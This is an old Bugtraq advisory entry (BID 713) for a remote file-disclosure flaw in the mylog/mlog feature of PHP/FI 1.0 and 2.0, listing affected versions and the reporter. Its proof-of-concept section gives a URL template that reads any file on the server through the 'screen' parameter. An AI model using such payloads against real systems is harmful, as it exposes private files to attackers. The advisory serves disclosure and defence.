PHP/FI mylog/mlog Vulnerability
BID:713
Info
PHP/FI mylog/mlog Vulnerability
| Bugtraq ID: | 713 |
| Class: | Origin Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 19 1997 12:00AM |
| Updated: | Oct 19 1997 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list by Bryan Berg on Sun Oct 19 1997. |
| Vulnerable: |
PHP PHP/FI 2.0 b10 PHP PHP/FI 2.0 PHP PHP/FI 1.0 |
| Not Vulnerable: |
PHP PHP 4.0 0 PHP PHP 3.0 0 |
Exploit / POC
PHP/FI mylog/mlog Vulnerability
http://some.stupid.isp.net/~dumbuser/cool-logs/mlog.html?screen=[fully
qualified path to any file on the system]
http://some.stupid.isp.net/~dumbuser/cool-logs/mlog.html?screen=[fully
qualified path to any file on the system]